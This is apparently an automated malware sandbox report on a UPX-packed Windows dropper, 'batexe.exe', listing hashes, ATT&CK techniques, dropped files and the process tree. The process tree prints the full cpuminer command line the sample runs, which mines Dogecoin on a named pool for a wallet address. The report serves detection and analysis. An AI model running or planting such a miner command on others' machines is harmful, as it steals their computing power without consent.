73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12-02-2024 14:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2672	b2e.exe
4628	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4628	cpuminer-sse2.exe
4628	cpuminer-sse2.exe
4628	cpuminer-sse2.exe
4628	cpuminer-sse2.exe
4628	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1220-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1220 wrote to memory of 2672	1220	batexe.exe	83
PID 1220 wrote to memory of 2672	1220	batexe.exe	83
PID 1220 wrote to memory of 2672	1220	batexe.exe	83
PID 2672 wrote to memory of 3240	2672	b2e.exe	84
PID 2672 wrote to memory of 3240	2672	b2e.exe	84
PID 2672 wrote to memory of 3240	2672	b2e.exe	84
PID 3240 wrote to memory of 4628	3240	cmd.exe	87
PID 3240 wrote to memory of 4628	3240	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1220
- C:\Users\Admin\AppData\Local\Temp\5D24.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5D24.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5D24.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6021.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5D24.tmp\b2e.exe

Filesize
24.4MB

MD5
84f342f5312c1048dad10aab13f297b3

SHA1
0cbf5daf3adc2857bfcb7442a62796fd507b11f6

SHA256
23982fcd133dadd75c45dab45331fd0726a16b7a3e552e41849c8979937b9b84

SHA512
f26710dae4eee7d555f3b792f06f85e85061c4f7bde944e13826cb9449b32f0f1da15da36d2b7ba4cab43072bc5096c3db7b1c51a531b59d8ee0ef39e2897a1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\5D24.tmp\b2e.exe

Filesize
10.1MB

MD5
0bb027e79fd3a3a15231fc456af0996d

SHA1
76bbfdeb6472a8dd30c672043c58a4c9c74062fd

SHA256
ab1029dc04f8c8125f4fe23a1a12ee4ea0812d4ceb2aebab13907ffc2791e693

SHA512
1409bea5af0220f3462be616afe8dd5849e945fedcbeb738d70e60820ac04f9df1215717d65bd84c3beeeb560447eefdd43743e1792e6709d726d645979146b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5D24.tmp\b2e.exe

Filesize
9.7MB

MD5
0f34e4113a7f05a50a87f3c28dd0212f

SHA1
797484cb8fb602198e5d0fc11225c582017abfd7

SHA256
97a7cd2b827d49ba1d49e78bc306df3c5ebea6bd2a6e84dd4e2d2154773b6456

SHA512
eb70b83bcd652699be5d9960bbc7833d427d53dff350c39c377929bba1c6881ed1aa7a942ecccc315586a5976144a6ab1f9451c3636a4d25c89810041a922ce6

Download Submit
C:\Users\Admin\AppData\Local\Temp\6021.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
a26dfef55beedfe0d9ba0893636d97e8

SHA1
9aadfb7085b9bf05ad108785b2395f3d7c2345b4

SHA256
6dd7a0eab21e7c31fbd21b8c9055da52be9136387bcdc63ed7e9634d6c20d70b

SHA512
3329f2eae55ed5b730ca1fa48278986ccc90274f50d4d06f829d67c7effa4afa30addc25eb9cd9095799d88729b5b78e793bc4328d5d73554e00e944e7554edd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.1MB

MD5
cde52d79274aa528c272cc1fcf82fe8c

SHA1
dedf2f0687e99c4c5f98582fc59fa4e0d4b4d103

SHA256
d5144ff4195180737e5a5b955715ade06b2050c60ef7533d5d0be537d8947693

SHA512
3e9cafdcd4952ef0fb24addc86d3fe7bf8cce1019b53094c3d979ea268b9c9edc0a36f2f45576a4ae246b9b833f9a92cdbaf2d5b227992dc79a5c477e77aef3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.2MB

MD5
f421d8dba466fe233aeb34ea565188da

SHA1
1c3ec1c8582c0de473c015820c61d50e40798469

SHA256
f0a4ffcd25d49911ef7b3b782849240922f305306a408f8b70c0bd665c5a1c7a

SHA512
d2a757e9daa4ed96f78c33a31a0783f3c885bd021d118412e8023ece855a75b57cd03cedeb66cc9bce2ec878d2ca0be5b8a91cb2a5430df27b3bea6f0715e940

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
a426006e93ddd8469785894028075e60

SHA1
093572df1c70ba37834f8c0b7d16a17b886a9ae2

SHA256
691daf68d1d33f429228fc4251e319629155c1b823c6ec4be1687d807c86139a

SHA512
0ad5eeb357092a972b52fbc1a1faf69a5c260a31ca0ce50b08e174eb46bd81095b5c3540b61b4bee687c7b8d89713ac3204a82fb99b92f862f549b294e04eba6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1220-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2672-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2672-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4628-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4628-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4628-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4628-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-46-0x000000006EB00000-0x000000006EB98000-memory.dmp

Filesize
608KB

Download
memory/4628-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4628-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download